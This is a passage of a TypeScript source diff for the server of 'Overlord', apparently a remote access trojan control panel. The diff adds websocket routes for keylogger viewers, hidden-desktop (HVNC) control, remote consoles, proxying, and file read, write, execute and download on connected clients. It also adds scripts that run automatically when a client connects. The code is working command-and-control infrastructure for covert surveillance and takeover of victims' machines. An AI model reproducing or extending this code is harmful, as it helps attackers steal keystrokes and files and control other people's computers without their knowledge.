return new Response("Upgrade failed", { status: 500 });
}
const processMatch = url.pathname.match(/^\/api\/clients\/(.+)\/processes\/ws$/);
if (processMatch) {
const user = await authenticateRequest(req);
if (!user) {
return new Response("Unauthorized", { status: 401 });
}
if (user.role === "viewer") {
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
}
const clientId = processMatch[1];
const ip = server.requestIP(req)?.address || "";
if (server.upgrade(req, { data: { role: "process_viewer", clientId, ip, userRole: user.role } })) {
return new Response();
}
return new Response("Upgrade failed", { status: 500 });
}
const keyloggerMatch = url.pathname.match(/^\/api\/clients\/(.+)\/keylogger\/ws$/);
if (keyloggerMatch) {
const user = await authenticateRequest(req);
if (!user) {
return new Response("Unauthorized", { status: 401 });
}
if (user.role === "viewer") {
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
}
const clientId = keyloggerMatch[1];
const ip = server.requestIP(req)?.address || "";
if (server.upgrade(req, { data: { role: "keylogger_viewer", clientId, ip, userRole: user.role } })) {
return new Response();
}
return new Response("Upgrade failed", { status: 500 });
}
const proxyMatch = url.pathname.match(/^\/api\/clients\/(.+)\/proxy\/ws$/);
if (proxyMatch) {
const user = await authenticateRequest(req);
if (!user) {
return new Response("Unauthorized", { status: 401 });
}
if (user.role === "viewer") {
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
}
const clientId = proxyMatch[1];
const ip = server.requestIP(req)?.address || "";
if (server.upgrade(req, { data: { role: "proxy_viewer", clientId, ip, userRole: user.role } })) {
return new Response();
}
return new Response("Upgrade failed", { status: 500 });
}
if (req.method === "GET" && url.pathname === "/api/notifications/ws") {
const user = await authenticateRequest(req);
if (!user) {
return new Response("Unauthorized", { status: 401 });
}
const ip = server.requestIP(req)?.address || "";
if (server.upgrade(req, { data: { role: "notifications_viewer", clientId: "", ip, userRole: user.role } })) {
return new Response();
}
return new Response("Upgrade failed", { status: 500 });
}
return null;
}
@@ -0,0 +1,11 @@
export const HEARTBEAT_INTERVAL_MS = 15_000;
export const STALE_MS = 5 * 60_000;
export const DISCONNECT_TIMEOUT_MS = 10_000;
export const PRUNE_BATCH = Number(process.env.PRUNE_BATCH || 500);
export const MAX_WS_MESSAGE_BYTES_VIEWER = Number(
process.env.MAX_WS_MESSAGE_BYTES_VIEWER || 1_000_000,
);
export const MAX_WS_MESSAGE_BYTES_CLIENT = Number(
process.env.MAX_WS_MESSAGE_BYTES_CLIENT || 50_000_000,
);
@@ -0,0 +1,15 @@
import path from "path";
import fs from "fs";
export function resolveRuntimeRoot(cwd: string = process.cwd()): string {
const explicitRoot = process.env.OVERLORD_ROOT?.trim();
if (explicitRoot) {
return path.resolve(explicitRoot);
}
if (fs.existsSync(path.join(cwd, "Overlord-Client"))) {
return cwd;
}
return path.resolve(cwd, "..");
}
+40
View File
@@ -0,0 +1,40 @@
import { logger } from "../logger";
import type { ClientInfo } from "../types";
type PruneStaleClientsParams = {
clients: Map<string, ClientInfo>;
staleMs: number;
pruneBatch: number;
setOnlineState: (id: string, online: boolean) => void;
deleteClient: (id: string) => void;
};
export function pruneStaleClients(params: PruneStaleClientsParams): void {
const now = Date.now();
let processed = 0;
for (const [id, info] of params.clients.entries()) {
if (now - info.lastSeen <= params.staleMs) continue;
try {
if (info.role === "client") {
info.ws.close(4000, "stale");
params.setOnlineState(id, false);
processed += 1;
continue;
}
info.ws.close();
} catch (err) {
logger.error(`[prune] close failed for ${id}`, err);
}
params.deleteClient(id);
params.setOnlineState(id, false);
processed += 1;
if (processed >= params.pruneBatch) {
logger.debug(`[prune] paused after ${processed} stale sockets; will continue next sweep`);
break;
}
}
}
@@ -0,0 +1,85 @@
import { certificatesExist, generateSelfSignedCert, getLocalIPs, isOpenSSLAvailable } from "../certGenerator";
import { logger } from "../logger";
type TlsBootstrapParams = {
certPath: string;
keyPath: string;
caPath?: string;
};
export async function prepareTlsOptions(params: TlsBootstrapParams): Promise<{ cert?: string; key?: string; ca?: string }> {
logger.info("[TLS] TLS/HTTPS is always enabled for security");
if (!certificatesExist(params.certPath, params.keyPath)) {
logger.info("[TLS] Certificates not found, generating self-signed certificates...");
if (!(await isOpenSSLAvailable())) {
logger.error("[TLS] ERROR: OpenSSL is not installed or not in PATH");
logger.error("[TLS] Please install OpenSSL:");
logger.error("[TLS] - Linux: apt install openssl / yum install openssl");
logger.error("[TLS] - macOS: brew install openssl");
logger.error("[TLS] - Windows: choco install openssl or download from https://slproweb.com/products/Win32OpenSSL.html");
throw new Error("OpenSSL is required for certificate generation");
}
const localIPs = getLocalIPs();
const hostname = process.env.OVERLORD_HOSTNAME || "localhost";
try {
await generateSelfSignedCert({
certPath: params.certPath,
keyPath: params.keyPath,
commonName: hostname,
daysValid: 3650,
additionalIPs: localIPs,
});
} catch (err) {
logger.error("[TLS] Failed to generate certificates:", err);
throw err;
}
} else {
logger.info(`[TLS] Using existing certificates: ${params.certPath}`);
}
try {
const certFile = Bun.file(params.certPath);
const keyFile = Bun.file(params.keyPath);
const tlsOptions: { cert?: string; key?: string; ca?: string } = {
cert: await certFile.text(),
key: await keyFile.text(),
};
if (params.caPath) {
const caFile = Bun.file(params.caPath);
if (await caFile.exists()) {
tlsOptions.ca = await caFile.text();
logger.info("[TLS] Client certificate verification enabled");
}
}
return tlsOptions;
} catch (err) {
logger.error("[TLS] Failed to load certificates:", err);
throw err;
}
}
export function logServerStartup(server: { hostname?: string; port?: number }, certPath: string): void {
const hostname = server.hostname || "0.0.0.0";
const port = server.port ?? 0;
const localIPs = getLocalIPs();
logger.info("========================================");
logger.info("Overlord Server - SECURE MODE (TLS Always On)");
logger.info("========================================");
logger.info(`HTTPS: https://${hostname}:${port}`);
logger.info(`WSS: wss://${hostname}:${port}/api/clients/{id}/stream/ws`);
if (localIPs.length > 0) {
logger.info("\nLocal network addresses:");
localIPs.forEach((ip) => logger.info(` - https://${ip}:${port}`));
}
logger.info("\n⚠️ Using self-signed certificate");
logger.info(` Clients must trust: ${certPath}`);
logger.info(" Or use: OVERLORD_TLS_INSECURE_SKIP_VERIFY=true (dev only)");
logger.info("========================================");
}
@@ -0,0 +1,26 @@
import type { AutoScriptTrigger } from "../db";
export const AUTO_SCRIPT_TRIGGERS = new Set<AutoScriptTrigger>([
"on_connect",
"on_first_connect",
"on_connect_once",
]);
export const ALLOWED_SCRIPT_TYPES = new Set([
"powershell",
"bash",
"cmd",
"python",
"sh",
]);
export const ALLOWED_PLATFORMS = new Set([
"windows-amd64",
"windows-386",
"windows-arm64",
"linux-amd64",
"linux-arm64",
"linux-armv7",
"darwin-amd64",
"darwin-arm64",
]);
@@ -0,0 +1,45 @@
import type { ServerWebSocket } from "bun";
import type { SocketData } from "../sessions/types";
type OpenHandler<TLifecycleDeps> = (
ws: ServerWebSocket<SocketData>,
deps: TLifecycleDeps,
) => void;
type MessageHandler<TLifecycleDeps> = (
ws: ServerWebSocket<SocketData>,
message: string | ArrayBuffer | Uint8Array,
deps: TLifecycleDeps,
) => void;
type CloseHandler<TLifecycleDeps> = (
ws: ServerWebSocket<SocketData>,
code: number,
reason: string,
deps: TLifecycleDeps,
) => void;
export function createWebSocketRuntime<TLifecycleDeps>(deps: {
maxClientPayloadBytes: number;
maxViewerPayloadBytes: number;
lifecycleDeps: TLifecycleDeps;
handleWebSocketOpen: OpenHandler<TLifecycleDeps>;
handleWebSocketMessage: MessageHandler<TLifecycleDeps>;
handleWebSocketClose: CloseHandler<TLifecycleDeps>;
}) {
return {
perMessageDeflate: true,
maxPayloadLength: Math.max(deps.maxClientPayloadBytes, deps.maxViewerPayloadBytes),
idleTimeout: 255,
sendPings: true,
open(ws: ServerWebSocket<SocketData>) {
deps.handleWebSocketOpen(ws, deps.lifecycleDeps);
},
message(ws: ServerWebSocket<SocketData>, message: string | ArrayBuffer | Uint8Array) {
deps.handleWebSocketMessage(ws, message, deps.lifecycleDeps);
},
close(ws: ServerWebSocket<SocketData>, code: number, reason: string) {
deps.handleWebSocketClose(ws, code, reason, deps.lifecycleDeps);
},
};
}
@@ -0,0 +1,550 @@
import type { ServerWebSocket } from "bun";
import { decode as msgpackDecode, encode as msgpackEncode } from "@msgpack/msgpack";
import { v4 as uuidv4 } from "uuid";
import * as clientManager from "../clientManager";
import { logger } from "../logger";
import { metrics } from "../metrics";
import { encodeMessage } from "../protocol";
import * as sessionManager from "../sessions/sessionManager";
import type { ConsoleSession, RemoteDesktopViewer, SocketData } from "../sessions/types";
import type { ClientInfo } from "../types";
function decodeViewerPayload(raw: string | ArrayBuffer | Uint8Array): any | null {
if (typeof raw === "string") {
try {
return JSON.parse(raw);
} catch {
return null;
}
}
try {
const buf = raw instanceof Uint8Array ? raw : new Uint8Array(raw);
return msgpackDecode(buf);
} catch {
return null;
}
}
function safeSendViewer(ws: ServerWebSocket<SocketData>, payload: unknown) {
try {
ws.send(msgpackEncode(payload));
} catch (err) {
logger.error("[console] viewer send failed", err);
}
}
function safeSendViewerFrame(ws: ServerWebSocket<SocketData>, bytes: Uint8Array, header?: any): number {
try {
const meta = new Uint8Array(8);
meta[0] = 0x46;
meta[1] = 0x52;
meta[2] = 0x4d;
meta[3] = 1;
meta[4] = (header?.monitor ?? 0) & 0xff;
meta[5] = (header?.fps ?? 0) & 0xff;
const fmt = header?.format === "blocks" ? 2 : header?.format === "blocks_raw" ? 3 : 1;
meta[6] = fmt;
meta[7] = 0;
const buf = new Uint8Array(meta.length + bytes.length);
buf.set(meta, 0);
buf.set(bytes, meta.length);
ws.send(buf);
metrics.recordBytesSent(buf.length);
return buf.length;
} catch (err) {
logger.error("[rd] viewer frame send failed", err);
return 0;
}
}
const rdSendStats = { lastLog: 0, frames: 0, sendMs: 0, bytes: 0 };
export const rdStreamingState = new Map<string, { isStreaming: boolean; display: number; quality: number; duplication: boolean }>();
const rdInputPending = new Map<string, { clientId: string; sentAt: number; kind: string }>();
const RD_INPUT_TTL_MS = 10_000;
function pruneRdInputPending(now = Date.now()) {
for (const [id, pending] of rdInputPending.entries()) {
if (now - pending.sentAt > RD_INPUT_TTL_MS) {
rdInputPending.delete(id);
}
}
}
function recordRdInput(commandId: string, clientId: string, kind: string) {
pruneRdInputPending();
rdInputPending.set(commandId, { clientId, sentAt: Date.now(), kind });
}
export function notifyRdInputLatency(commandId: string) {
const pending = rdInputPending.get(commandId);
if (!pending) return;
rdInputPending.delete(commandId);
const ms = Date.now() - pending.sentAt;
for (const session of sessionManager.getAllRdSessions().values()) {
if (session.clientId !== pending.clientId) continue;
safeSendViewer(session.viewer, { type: "input_latency", ms, kind: pending.kind, commandId });
}
}
function logRdSend(header?: any) {
const now = Date.now();
if (now - rdSendStats.lastLog < 5000) return;
const frames = rdSendStats.frames || 1;
const avgMs = rdSendStats.sendMs / frames;
const avgBytes = rdSendStats.bytes / frames;
const fpsAgent = header?.fps ?? "?";
logger.debug(`[rd] send avg=${avgMs.toFixed(2)}ms size=${Math.round(avgBytes)}B frames=${rdSendStats.frames} agent_fps=${fpsAgent}`);
rdSendStats.lastLog = now;
rdSendStats.frames = 0;
rdSendStats.sendMs = 0;
rdSendStats.bytes = 0;
}
function sendConsoleCommand(target: ClientInfo | undefined, commandType: string, payload: Record<string, unknown>) {
if (!target) return false;
try {
target.ws.send(encodeMessage({ type: "command", commandType: commandType as any, payload, id: uuidv4() }));
metrics.recordCommand(commandType);
return true;
} catch (err) {
logger.error("[console] send command failed", err);
return false;
}
}
function sendDesktopCommandWithId(target: ClientInfo | undefined, commandType: string, payload: Record<string, unknown>, commandId: string) {
if (!target) return false;
try {
logger.debug(`[rd] send command ${commandType} -> ${target.id}`);
target.ws.send(encodeMessage({ type: "command", commandType: commandType as any, payload, id: commandId }));
metrics.recordCommand(commandType);
return true;
} catch (err) {
logger.error("[rd] send command failed", err);
return false;
}
}
export function sendDesktopCommand(target: ClientInfo | undefined, commandType: string, payload: Record<string, unknown>) {
return sendDesktopCommandWithId(target, commandType, payload, uuidv4());
}
function startConsoleForViewer(target: ClientInfo | undefined, sessionId: string, cols = 120, rows = 36) {
return sendConsoleCommand(target, "console_start", { sessionId, cols, rows });
}
export function stopConsoleOnTarget(target: ClientInfo | undefined, sessionId: string) {
return sendConsoleCommand(target, "console_stop", { sessionId });
}
export function notifyConsoleClosed(clientId: string, reason: string) {
for (const [sessionId, session] of sessionManager.getAllConsoleSessions().entries()) {
if (session.clientId !== clientId) continue;
safeSendViewer(session.viewer, { type: "status", status: "closed", reason, sessionId });
sessionManager.deleteConsoleSession(sessionId);
}
}
export function handleConsoleViewerOpen(ws: ServerWebSocket<SocketData>) {
const { clientId, sessionId } = ws.data;
const effectiveSessionId = sessionId || uuidv4();
ws.data.sessionId = effectiveSessionId;
const target = clientManager.getClient(clientId);
const session: ConsoleSession = { id: effectiveSessionId, clientId, viewer: ws, createdAt: Date.now() };
sessionManager.addConsoleSession(session);
safeSendViewer(ws, {
type: "ready",
sessionId: effectiveSessionId,
clientId,
clientOnline: !!target,
host: target?.host || clientId,
os: target?.os,
user: target?.user,
});
if (!target) {
safeSendViewer(ws, { type: "status", status: "offline", reason: "Client is offline", sessionId: effectiveSessionId });
return;
}
safeSendViewer(ws, { type: "status", status: "connecting", sessionId: effectiveSessionId });
startConsoleForViewer(target, effectiveSessionId);
}
export function handleRemoteDesktopViewerOpen(ws: ServerWebSocket<SocketData>) {
const { clientId } = ws.data;
const sessionId = uuidv4();
const target = clientManager.getClient(clientId);
const session: RemoteDesktopViewer = { id: sessionId, clientId, viewer: ws, createdAt: Date.now() };
sessionManager.getAllRdSessions().set(sessionId, session);
safeSendViewer(ws, { type: "ready", sessionId, clientId, clientOnline: !!target });
if (!target) {
safeSendViewer(ws, { type: "status", status: "offline", reason: "Client is offline", sessionId });
return;
}
safeSendViewer(ws, { type: "status", status: "connecting", sessionId });
}
export function notifyRemoteDesktopStatus(clientId: string, status: string, reason?: string) {
for (const session of sessionManager.getAllRdSessions().values()) {
if (session.clientId !== clientId) continue;
safeSendViewer(session.viewer, {
type: "status",
status,
reason,
sessionId: session.id,
});
}
}
export function handleRemoteDesktopViewerMessage(ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) {
const payload = decodeViewerPayload(raw);
if (!payload) return;
if (!payload || typeof payload.type !== "string") return;
const { clientId } = ws.data;
const target = clientManager.getClient(clientId);
if (!target) {
safeSendViewer(ws, { type: "status", status: "offline" });
return;
}
const state = rdStreamingState.get(clientId) || { isStreaming: false, display: 0, quality: 90, duplication: false };
logger.debug(`[rd] inbound viewer msg type=${payload.type} client=${clientId}`);
switch (payload.type) {
case "desktop_start":
if (!state.isStreaming) {
sendDesktopCommand(target, "desktop_start", {});
state.isStreaming = true;
rdStreamingState.set(clientId, state);
logger.debug(`[rd] started streaming for client ${clientId}`);
} else {
logger.debug(`[rd] ignoring duplicate desktop_start for client ${clientId}`);
}
break;
case "desktop_stop":
sendDesktopCommand(target, "desktop_stop", {});
if (state.isStreaming) {
state.isStreaming = false;
rdStreamingState.set(clientId, state);
logger.debug(`[rd] stopped streaming for client ${clientId}`);
} else {
rdStreamingState.set(clientId, { ...state, isStreaming: false });
logger.debug(`[rd] stop requested while not streaming for client ${clientId}`);
}
break;
case "desktop_select_display": {
const newDisplay = Number(payload.display) || 0;
if (state.display !== newDisplay) {
logger.debug(`[rd] changing display from ${state.display} to ${newDisplay}`);
sendDesktopCommand(target, "desktop_select_display", { display: newDisplay });
state.display = newDisplay;
rdStreamingState.set(clientId, state);
} else {
logger.debug(`[rd] ignoring duplicate display select ${newDisplay}`);
}
break;
}
case "desktop_set_quality": {
const newQuality = Number(payload.quality) || 90;
if (state.quality !== newQuality) {
sendDesktopCommand(target, "desktop_set_quality", { quality: newQuality, codec: payload.codec || "" });
state.quality = newQuality;
rdStreamingState.set(clientId, state);
logger.debug(`[rd] set quality to ${newQuality}`);
}
break;
}
case "desktop_enable_mouse":
sendDesktopCommand(target, "desktop_enable_mouse", { enabled: !!payload.enabled });
break;
case "desktop_enable_keyboard":
sendDesktopCommand(target, "desktop_enable_keyboard", { enabled: !!payload.enabled });
break;
case "desktop_enable_cursor":
sendDesktopCommand(target, "desktop_enable_cursor", { enabled: !!payload.enabled });
break;
case "desktop_set_duplication": {
const enabled = !!payload.enabled;
if (state.duplication !== enabled) {
sendDesktopCommand(target, "desktop_set_duplication", { enabled });
state.duplication = enabled;
rdStreamingState.set(clientId, state);
logger.debug(`[rd] set duplication to ${enabled}`);
}
break;
}
case "mouse_move": {
if (!state.isStreaming) break;
const rawX = (payload as any).x;
const rawY = (payload as any).y;
const commandId = uuidv4();
recordRdInput(commandId, clientId, "mouse_move");
sendDesktopCommandWithId(target, "desktop_mouse_move", { x: Number(rawX) || 0, y: Number(rawY) || 0 }, commandId);
break;
}
case "mouse_down": {
if (!state.isStreaming) break;
const commandId = uuidv4();
recordRdInput(commandId, clientId, "mouse_down");
sendDesktopCommandWithId(target, "desktop_mouse_down", { button: Number(payload.button) || 0 }, commandId);
break;
}
case "mouse_up": {
if (!state.isStreaming) break;
const commandId = uuidv4();
recordRdInput(commandId, clientId, "mouse_up");
sendDesktopCommandWithId(target, "desktop_mouse_up", { button: Number(payload.button) || 0 }, commandId);
break;
}
case "key_down": {
if (!state.isStreaming) break;
const commandId = uuidv4();
recordRdInput(commandId, clientId, "key_down");
sendDesktopCommandWithId(target, "desktop_key_down", { key: payload.key || "", code: payload.code || "" }, commandId);
break;
}
case "key_up": {
if (!state.isStreaming) break;
const commandId = uuidv4();
recordRdInput(commandId, clientId, "key_up");
sendDesktopCommandWithId(target, "desktop_key_up", { key: payload.key || "", code: payload.code || "" }, commandId);
break;
}
case "text_input": {
if (!state.isStreaming) break;
const commandId = uuidv4();
recordRdInput(commandId, clientId, "text_input");
sendDesktopCommandWithId(target, "desktop_text", { text: payload.text || "" }, commandId);
break;
}
default:
break;
}
}
function handleRemoteDesktopFrame(payload: any) {
const clientId = payload.clientId as string;
const header = payload.header;
const bytes = payload.data as Uint8Array;
const t0 = typeof performance !== "undefined" && performance.now ? performance.now() : Date.now();
const state = rdStreamingState.get(clientId) || { isStreaming: false, display: 0, quality: 90, duplication: false };
if (!state.isStreaming) {
rdStreamingState.set(clientId, { ...state, isStreaming: true });
}
for (const session of sessionManager.getAllRdSessions().values()) {
if (session.clientId !== clientId) continue;
const sentBytes = safeSendViewerFrame(session.viewer, bytes, header);
const t1 = typeof performance !== "undefined" && performance.now ? performance.now() : Date.now();
rdSendStats.frames += 1;
rdSendStats.bytes += sentBytes;
rdSendStats.sendMs += t1 - t0;
}
logRdSend(header);
}
(globalThis as any).__rdBroadcast = (clientId: string, bytes: Uint8Array, header?: any): boolean => {
let sent = false;
const t0 = typeof performance !== "undefined" && performance.now ? performance.now() : Date.now();
for (const session of sessionManager.getAllRdSessions().values()) {
if (session.clientId !== clientId) continue;
const sentBytes = safeSendViewerFrame(session.viewer, bytes, header);
const t1 = typeof performance !== "undefined" && performance.now ? performance.now() : Date.now();
rdSendStats.frames += 1;
rdSendStats.bytes += sentBytes;
rdSendStats.sendMs += t1 - t0;
sent = true;
}
logRdSend(header);
return sent;
};
export const hvncStreamingState = new Map<string, { isStreaming: boolean; display: number; quality: number }>();
export function handleHVNCViewerOpen(ws: ServerWebSocket<SocketData>) {
const { clientId } = ws.data;
const sessionId = uuidv4();
const target = clientManager.getClient(clientId);
const session: RemoteDesktopViewer = { id: sessionId, clientId, viewer: ws, createdAt: Date.now() };
sessionManager.getAllHvncSessions().set(sessionId, session);
safeSendViewer(ws, { type: "ready", sessionId, clientId, clientOnline: !!target });
if (!target) {
safeSendViewer(ws, { type: "status", status: "offline", reason: "Client is offline", sessionId });
return;
}
safeSendViewer(ws, { type: "status", status: "connecting", sessionId });
}
function notifyHVNCStatus(clientId: string, status: string, reason?: string) {
for (const session of sessionManager.getAllHvncSessions().values()) {
if (session.clientId !== clientId) continue;
safeSendViewer(session.viewer, {
type: "status",
status,
reason,
sessionId: session.id,
});
}
}
export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) {
const payload = decodeViewerPayload(raw);
if (!payload) return;
if (!payload || typeof payload.type !== "string") return;
const { clientId } = ws.data;
const target = clientManager.getClient(clientId);
if (!target) {
safeSendViewer(ws, { type: "status", status: "offline" });
return;
}
const state = hvncStreamingState.get(clientId) || { isStreaming: false, display: 0, quality: 90 };
logger.debug(`[hvnc] inbound viewer msg type=${payload.type} client=${clientId}`);
switch (payload.type) {
case "hvnc_start":
if (!state.isStreaming) {
sendHVNCCommand(target, "hvnc_start", {});
state.isStreaming = true;
hvncStreamingState.set(clientId, state);
logger.debug(`[hvnc] started streaming for client ${clientId}`);
} else {
logger.debug(`[hvnc] ignoring duplicate hvnc_start for client ${clientId}`);
}
break;
case "hvnc_stop":
if (state.isStreaming) {
sendHVNCCommand(target, "hvnc_stop", {});
state.isStreaming = false;
hvncStreamingState.set(clientId, state);
logger.debug(`[hvnc] stopped streaming for client ${clientId}`);
}
break;
case "hvnc_select_display": {
const newDisplay = Number(payload.display) || 0;
if (state.display !== newDisplay) {
logger.debug(`[hvnc] changing display from ${state.display} to ${newDisplay}`);
sendHVNCCommand(target, "hvnc_select_display", { display: newDisplay });
state.display = newDisplay;
hvncStreamingState.set(clientId, state);
} else {
logger.debug(`[hvnc] ignoring duplicate display select ${newDisplay}`);
}
break;
}
case "hvnc_set_quality": {
const newQuality = Number(payload.quality) || 90;
if (state.quality !== newQuality) {
sendHVNCCommand(target, "hvnc_set_quality", { quality: newQuality, codec: payload.codec || "" });
state.quality = newQuality;
hvncStreamingState.set(clientId, state);
logger.debug(`[hvnc] set quality to ${newQuality}`);
}
break;
}
case "hvnc_enable_mouse":
if (state.isStreaming) sendHVNCCommand(target, "hvnc_enable_mouse", { enabled: !!payload.enabled });
break;
case "hvnc_enable_keyboard":
if (state.isStreaming) sendHVNCCommand(target, "hvnc_enable_keyboard", { enabled: !!payload.enabled });
break;
case "hvnc_enable_cursor":
if (state.isStreaming) sendHVNCCommand(target, "hvnc_enable_cursor", { enabled: !!payload.enabled });
break;
case "hvnc_mouse_move":
if (state.isStreaming) sendHVNCCommand(target, "hvnc_mouse_move", { x: Number(payload.x) || 0, y: Number(payload.y) || 0 });
break;
case "hvnc_mouse_down":
if (state.isStreaming) sendHVNCCommand(target, "hvnc_mouse_down", { button: Number(payload.button) || 0 });
break;
case "hvnc_mouse_up":
if (state.isStreaming) sendHVNCCommand(target, "hvnc_mouse_up", { button: Number(payload.button) || 0 });
break;
case "hvnc_mouse_wheel":
if (state.isStreaming) sendHVNCCommand(target, "hvnc_mouse_wheel", { delta: Number(payload.delta) || 0, x: Number(payload.x) || 0, y: Number(payload.y) || 0 });
break;
case "hvnc_key_down":
if (state.isStreaming) sendHVNCCommand(target, "hvnc_key_down", { key: payload.key || "", code: payload.code || "" });
break;
case "hvnc_key_up":
if (state.isStreaming) sendHVNCCommand(target, "hvnc_key_up", { key: payload.key || "", code: payload.code || "" });
break;
case "hvnc_start_process":
sendHVNCCommand(target, "hvnc_start_process", { path: String(payload.path || "") });
break;
default:
break;
}
}
export function sendHVNCCommand(target: ClientInfo, commandType: string, payload: any) {
target.ws.send(encodeMessage({ type: "command", commandType: commandType as any, id: uuidv4(), payload }));
}
(globalThis as any).__hvncBroadcast = (clientId: string, bytes: Uint8Array, header?: any): boolean => {
let sent = false;
for (const session of sessionManager.getAllHvncSessions().values()) {
if (session.clientId !== clientId) continue;
safeSendViewerFrame(session.viewer, bytes, header);
sent = true;
}
return sent;
};
const textDecoder = new TextDecoder();
export function handleConsoleViewerMessage(ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) {
const payload = decodeViewerPayload(raw);
if (!payload) return;
if (!payload || typeof payload.type !== "string") {
return;
}
const { clientId, sessionId } = ws.data;
const target = clientManager.getClient(clientId);
if (!target) {
safeSendViewer(ws, { type: "status", status: "offline", reason: "Client is offline", sessionId });
return;
}
switch (payload.type) {
case "input": {
const data = typeof payload.data === "string" ? payload.data : "";
sendConsoleCommand(target, "console_input", { sessionId, data });
break;
}
case "resize": {
const cols = Number(payload.cols) || 120;
const rows = Number(payload.rows) || 36;
sendConsoleCommand(target, "console_resize", { sessionId, cols, rows });
break;
}
case "stop": {
if (!sessionId) break;
stopConsoleOnTarget(target, sessionId);
break;
}
default:
break;
}
}
export function handleConsoleOutput(payload: any) {
const sessionId = payload.sessionId as string;
if (!sessionId) return;
const session = sessionManager.getConsoleSession(sessionId);
if (!session) return;
const data = payload.data ? textDecoder.decode(payload.data as Uint8Array) : "";
safeSendViewer(session.viewer, {
type: "output",
sessionId,
data,
exitCode: payload.exitCode,
error: payload.error,
});
if (payload.exitCode !== undefined || payload.error) {
const reason = payload.error ? payload.error : `Process exited (${payload.exitCode ?? ""})`;
safeSendViewer(session.viewer, { type: "status", status: "closed", reason, sessionId });
sessionManager.deleteConsoleSession(sessionId);
}
}
@@ -0,0 +1,427 @@
import type { ServerWebSocket } from "bun";
import { decode as msgpackDecode, encode as msgpackEncode } from "@msgpack/msgpack";
import { v4 as uuidv4 } from "uuid";
import { AuditAction, logAudit } from "../auditLog";
import * as clientManager from "../clientManager";
import { logger } from "../logger";
import { metrics } from "../metrics";
import { encodeMessage } from "../protocol";
import * as sessionManager from "../sessions/sessionManager";
import type { SocketData } from "../sessions/types";
import { normalizeFileUploadPayload } from "../fileTransfers";
type FileBrowserViewer = {
id: string;
clientId: string;
viewer: ServerWebSocket<SocketData>;
createdAt: number;
};
type ProcessViewer = {
id: string;
clientId: string;
viewer: ServerWebSocket<SocketData>;
createdAt: number;
};
type WsViewerClusterDeps = {
pendingHttpDownloads: Map<string, unknown>;
consumeHttpDownloadPayload: (payload: any) => Promise<void> | void;
};
function decodeViewerPayload(raw: string | ArrayBuffer | Uint8Array): any | null {
if (typeof raw === "string") {
try {
return JSON.parse(raw);
} catch {
return null;
}
}
try {
const buf = raw instanceof Uint8Array ? raw : new Uint8Array(raw);
return msgpackDecode(buf);
} catch {
return null;
}
}
function safeSendViewer(ws: ServerWebSocket<SocketData>, payload: unknown) {
try {
ws.send(msgpackEncode(payload));
} catch (err) {
logger.error("[viewer] send failed", err);
}
}
export function handleFileBrowserViewerOpen(ws: ServerWebSocket<SocketData>) {
const { clientId } = ws.data;
const sessionId = uuidv4();
const target = clientManager.getClient(clientId);
const session: FileBrowserViewer = { id: sessionId, clientId, viewer: ws, createdAt: Date.now() };
sessionManager.getAllFileBrowserSessions().set(sessionId, session);
ws.data.sessionId = sessionId;
safeSendViewer(ws, { type: "ready", sessionId, clientId, clientOnline: !!target });
if (!target) {
safeSendViewer(ws, { type: "status", status: "offline", reason: "Client is offline", sessionId });
}
}
export function handleFileBrowserViewerMessage(ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) {
const payload = decodeViewerPayload(raw);
if (!payload || typeof payload.type !== "string") return;
const { clientId } = ws.data;
logger.debug(`[DEBUG] File browser message from viewer for client ${clientId}:`, payload.type, payload.commandType || "");
const target = clientManager.getClient(clientId);
if (!target) {
logger.debug(`[DEBUG] Client ${clientId} not found - sending offline status`);
safeSendViewer(ws, { type: "status", status: "offline" });
return;
}
const commandId = uuidv4();
if (payload.type === "command") {
if (typeof payload.commandType !== "string") return;
logger.debug(`[DEBUG] Handling command type: ${payload.commandType}`);
const actualPayload = payload.payload || {};
switch (payload.commandType) {
case "file_read":
logger.debug(`[DEBUG] Forwarding file_read to client ${clientId}:`, actualPayload.path);
target.ws.send(encodeMessage({ type: "command", commandType: "file_read", id: payload.id || commandId, payload: actualPayload } as any));
metrics.recordCommand("file_read");
break;
case "file_write":
target.ws.send(encodeMessage({ type: "command", commandType: "file_write", id: payload.id || commandId, payload: actualPayload } as any));
metrics.recordCommand("file_write");
break;
case "file_search":
target.ws.send(encodeMessage({ type: "command", commandType: "file_search", id: payload.id || commandId, payload: actualPayload } as any));
metrics.recordCommand("file_search");
break;
case "file_copy":
target.ws.send(encodeMessage({ type: "command", commandType: "file_copy", id: payload.id || commandId, payload: actualPayload } as any));
metrics.recordCommand("file_copy");
break;
case "file_move":
target.ws.send(encodeMessage({ type: "command", commandType: "file_move", id: payload.id || commandId, payload: actualPayload } as any));
metrics.recordCommand("file_move");
break;
case "file_chmod":
target.ws.send(encodeMessage({ type: "command", commandType: "file_chmod", id: payload.id || commandId, payload: actualPayload } as any));
metrics.recordCommand("file_chmod");
break;
case "file_execute":
logger.debug(`[DEBUG] Forwarding file_execute to client ${clientId}:`, actualPayload.path);
target.ws.send(encodeMessage({ type: "command", commandType: "file_execute", id: payload.id || commandId, payload: actualPayload } as any));
metrics.recordCommand("file_execute");
break;
default:
break;
}
return;
}
switch (payload.type) {
case "file_list":
target.ws.send(encodeMessage({ type: "command", commandType: "file_list", id: commandId, payload: { path: payload.path || "" } } as any));
metrics.recordCommand("file_list");
logAudit({
timestamp: Date.now(),
username: (ws.data as any).username || "unknown",
ip: ws.data.ip || "unknown",
action: AuditAction.FILE_LIST,
targetClientId: clientId,
details: JSON.stringify({ path: payload.path || "" }),
success: true,
});
break;
case "file_download":
target.ws.send(encodeMessage({ type: "command", commandType: "file_download", id: commandId, payload: { path: payload.path || "" } } as any));
metrics.recordCommand("file_download");
logAudit({
timestamp: Date.now(),
username: (ws.data as any).username || "unknown",
ip: ws.data.ip || "unknown",
action: AuditAction.FILE_DOWNLOAD,
targetClientId: clientId,
details: JSON.stringify({ path: payload.path || "" }),
success: true,
});
break;
case "file_upload": {
const upload = normalizeFileUploadPayload(payload);
if (!upload) return;
target.ws.send(encodeMessage({
type: "command",
commandType: "file_upload",
id: commandId,
payload: {
path: upload.path,
data: upload.data,
offset: upload.offset,
total: upload.total,
transferId: upload.transferId,
},
} as any));
